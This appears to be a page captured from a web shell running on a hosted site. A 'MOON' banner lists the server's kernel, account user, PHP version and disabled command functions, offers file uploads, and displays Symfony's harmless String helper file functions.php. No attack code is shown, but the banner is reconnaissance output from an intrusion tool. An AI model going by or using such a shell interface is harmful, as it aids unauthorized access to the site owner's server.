MOON
Server: Apache
System: Linux e2e-78-16.ssdcloudindia.net 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: imensosw (1005)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/imensosw/public_html/mpl.imenso.co/vendor/symfony/string/Resources/functions.php
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\String;

function u(?string $string = ''): UnicodeString
{
    return new UnicodeString($string ?? '');
}

function b(?string $string = ''): ByteString
{
    return new ByteString($string ?? '');
}

/**
 * @return UnicodeString|ByteString
 */
function s(?string $string = ''): AbstractString
{
    $string = $string ?? '';

    return preg_match('//u', $string) ? new UnicodeString($string) : new ByteString($string);
}